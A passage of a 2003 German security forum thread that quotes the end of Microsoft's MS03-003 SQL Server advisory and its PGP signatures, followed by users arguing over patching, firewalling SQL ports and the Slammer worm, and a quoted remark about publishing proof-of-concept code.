with a new SQL Server patch installer. The installer eliminates
the need for system administrators to copy SQL Server files onto
their systems manually. The only changes that Microsoft has made to
this patch were to incorporate the hotfix discussed in Microsoft
Knowledge Base article 317748 into the re-released patch and to
package the patch with an installer.

Customers who have not already applied the patch originally
released with this bulletin should apply the re-released patch.
Customers who have already applied to their SQL 2000 systems both
the original security patch and patch 317748 do not need to apply
this re-released patch - the original patches are effective in
ensuring correct operation of SQL Server and in protecting SQL
Server systems (including protection from the Slammer worm).
Customers who have applied only the original version of this patch
should consider applying the patch discussed in Microsoft Knowledge
Base article 317748, subject to the caveat discussed in the FAQ and
caveats sections below.

Issue:
======
The original version of this bulletin released a cumulative patch
that included the functionality of all previously released patches
for SQL Server 7.0, SQL Server 2000, Microsoft Data Engine (MSDE)
1.0, and Microsoft Desktop Engine (MSDE) 2000. The original patch
also eliminated one newly discovered vulnerability in a SQL Server
stored procedure.

SQL Server 7.0 and SQL Server 2000 provide stored procedures which
are collections of Transact-SQL statements stored under a name and
processed as a group. One stored procedure, an extended stored
procedure and weak permissions on a table combine to allow a low
privileged user the ability to run, delete, insert or update web
tasks.

An attacker who is able to authenticate to a SQL server could
delete, insert or update all the web tasks created by other users.
In addition, the attacker could run already created web tasks in
the context of the creator of the web task. This typically runs in
the context of the SQL Server Agent service account.

Mitigating Factors:
====================

- - -It is necessary to be an authenticated user of the SQL Server.
- - -Exploiting this vulnerability could allow the attacker to escalate
privileges to the level of the SQL Server service account. By
default, the service runs with the privileges of a domain user,
rather than with system privileges.
- - -Web tasks have to exist in the first place.

Risk Rating:
============
Critical

Patch Availability:
===================
- A patch is available to fix this vulnerability. Please read the
Security Bulletins at
http://www.microsoft.com/technet/security/bulletin/ms03-003.asp
for information on obtaining this patch.

Acknowledgment:
===============
Microsoft thanks David Litchfield of Next Generation Security
Software Ltd. for reporting this issue to us and working with us to
protect customers. We would also like to thank Martin Rakhmanoff
(jimmers@yandex.ru) for contributing to the investigation.
- - -------------------------------------------------------------------
- - --

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


- -----BEGIN PGP SIGNATURE-----
Version: PGP 7.1

iQEVAwUBPjOhg40ZSRQxA/UrAQGGhwf/T/t0K/XTIqszqT9I3fKC1J5EWZGR/LUL
aR1gNCD+2QZtvufM2pRt5+7WN236kFkDxE4s1HPb6nT/tEQafW+UJSsBFV7ZqNZY
OCTGxwpSKd9fHVA0cehxFmw3ERQgweBkrfolreNt4jqIEsLc/qK2IMQTeJ9EjmDA
MyBynv7i35lD1SE8bYbS5hdD33F3a1dRvOgttSW3T3JMbSVJvn 7dae7cpygB8KEJ
iQMIn2JOp+WPGmAE7SuIQ0HekSxOC+6qU0Y0pXlnqanTA1may6 N2vYac80f9Lt9Y
AtPuJ3JIiTqzY2DCq/w0honCTSZE1D8JoPGc4vUalzIVM4kHGSbfmA==
=JFW1
- -----END PGP SIGNATURE-----
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (SunOS)

iQEVAwUBPjURIygU04YpslABAQHx4Af/RLQ/bJ7Qqkp6ja1zTi3lFCJQTBUamDJR
2ay2Ed6jD+Khv6B/j2y2Zm9npc6GGLV/R548tpUPaTZtY6ic8h2uTnwdE8lfXrTP
3lUp7yo/pEjaC0Spt0HsUYzFPD7NrjLgSCyiosbM9/ezl4BIe97lXXv9XWFuNsf+
URxE0oZIcTKSPE+dOAd6onqw1NAL1V1Oz4Kb/w/wiLmT0j6m9asMhmCe5tKaIouI
HUwFqaSXpX0YDwGBigYozgqz6ThTgonslIOGciKJueyPI59hdS bRpuPtO0svCKge
8X9Qz1gQ00jOkcpqMSO1qaGvP7kSq7vRtR7sP0dWohavGsvjzN ULeA==
=bPyW
-----END PGP SIGNATURE-----

nimo
29.01.2003, 21:51
- MEGA AUFREG -

BOR, wie kann man nur. sry. Aber da oben steht das man die Ports blocken soll.... Was ist das für nen - beep - was meint ihr was das ding für einen sinn hatte? keinen? Die Ports waren schon mir absicht auf, ansonsten hätten die Programme wohl kaum auf die Datenbank connecten können.

Außerdem ist es wohl für keinen Admin möglich jeden Patch der von MS rausgebracht wird zu installieren. Da kömmen ja fast täglich welche! und dann mit dem risiko das nach nen umdate nichts mehr klappt.... das geht einfach nicht!

ps: hier findet ihr mal einen guten (!!) artikel zum theme:

link removed due to lameness of site .harl

harl
29.01.2003, 23:04
@nimo

Sowohl in obigen Referenzen als auch in meinem Paper steht lediglich das man die Ports !nach aussen! sperren sollte, bzw. selbst im internen Lan ausschliesslich eine verschlüsselte/getunnelte Verbindung zu den Servern erlauben sollte.

Die Ports sind bei *weiterklick um schneller mit der Installation fertig zu werden* per default offen!

Wenn schon nicht alle Patches einspielen, dann wenigstens ein cleveres Firewalling.

Btw. das SQL Slammer nicht nur SQL Server infiziert, sondern dutzende anderer Anwendungen.

Ich darf zitieren:

Desktops running MSDE 2000 are also vulnerable to this threat. MSDE 2000 is bundled and installed by a variety of applications further complicating a standard fix.

Die Liste kannst Du Dir selber zusammensuchen, keinen Bock hier nochmal auf Microsoft zu verlinken.

Hyperlinks zu Artikeln von tecchannel kannst Du Dir sonstwohin schieben - sind hier aufgrund des nicht vorhandenen Niveaus der Autoren nicht erwünscht, da kannst Du mir ebenso mit etwaigen guides to mostly harmless hacking kommen.

Btw. der Artikel sieht mir sehr nach zusammengeklaubt aus ...

Das der Hype an sich lächerlich ist, ist eine andere Sache - dem wollte ich mit dem Zusammentragen der Reports nur vorgreifen.

eat this or die,

.harl

nimo
29.01.2003, 23:49
da dein beitrag hier drüber zeigt das du nen bisschen ahnung hast solltest du den nächsten satz nicht unbedingt auf dich beziehen. aber es gibt genung leute, auch hier im forum, wo mir einfach der eindrück erscheint sie jammern über sachen von dennen sie keine oder einfach zu wenig ahnung haben. und das die tecchannel leute dir nicht zusagen kan ich auch nichts für, aber sachlich find ich die texte (oder auf jedenfall den text über den slammer) gar nicht schlecht.

> Btw. der Artikel sieht mir sehr nach zusammengeklaubt aus ...
> Das der Hype an sich lächerlich ist, ist eine andere Sache -
> dem wollte ich mit dem Zusammentragen der Reports nur vorgreifen.

??? verseh ich nicht ganz ???

triton
30.01.2003, 00:28
Original geschrieben von nimo

Außerdem ist es wohl für keinen Admin möglich jeden Patch der von MS rausgebracht wird zu installieren. Da kömmen ja fast täglich welche! und dann mit dem risiko das nach nen umdate nichts mehr klappt.... das geht einfach nicht!


Aber, dass sich jeder Internetuser nach eigenen Belieben an den Resourcen deines Computers bedient..., das geht?
Wach bitte auf.

harl
30.01.2003, 10:12
@nimo
Ich bezieh den Beitrag nicht auf mich und behaupte ganz dreist einfach ich habe "weit mehr als ein bisschen" Ahnung.

War nicht als peröhnlicher Angriff gedacht, eher als offensive Reaktion auf das Statement, das auch triton stört.

aber es gibt genung leute, auch hier im forum, wo mir einfach der eindrück erscheint sie jammern über sachen von dennen sie keine oder einfach zu wenig ahnung haben.

Nicht mit mir als Tempmod hier, und ich denke HeXxi (sobald er wieder da ist) wird im Sinne einer niveautechnisch hohen Diskussionsgrundlage zukünftig auch darauf achten das mehr Technik und weniger Gebabbel hier reinläuft.

Was am SQL Slammer Incident das Schlimme ist, sind nicht die paar 1000 Server die (jetzt gepatched) kompromittiert wurden, sondern DAS:


Hi,

The following quote from David Litchfield appeared in a front-page
article in today's Washington Post:

http://www.washingtonpost.com/wp-dyn/articles/A57550-2003Jan28.html

"You have this ideal vision of doing something
for the greater good," said David Litchfield,
managing director of Next Generation Security
Software Ltd. of London, who acknowledged that
a small bit of his code might have been used in
the attack. "I will probably no longer publish such code."

Perhaps David can put together a longer message for Bugtraq and
Full-Disclosure on his changing views of publishing proof-of-concept
code for security vulnerabilities.

Richard M. Smith
http://www.ComputerBytesMan.com


.harl

nimo
30.01.2003, 18:26
>>> Nicht mit mir als Tempmod hier, und ich denke HeXxi (sobald er wieder da ist) wird im Sinne einer niveautechnisch hohen Diskussionsgrundlage zukünftig auch darauf achten das mehr Technik und weniger Gebabbel hier reinläuft.


Da sind wir ja eigendlich einer Meinung...
Ich denke damit ist die Sache erledigt,
ging ja auch mehr gegen die Jammerer =)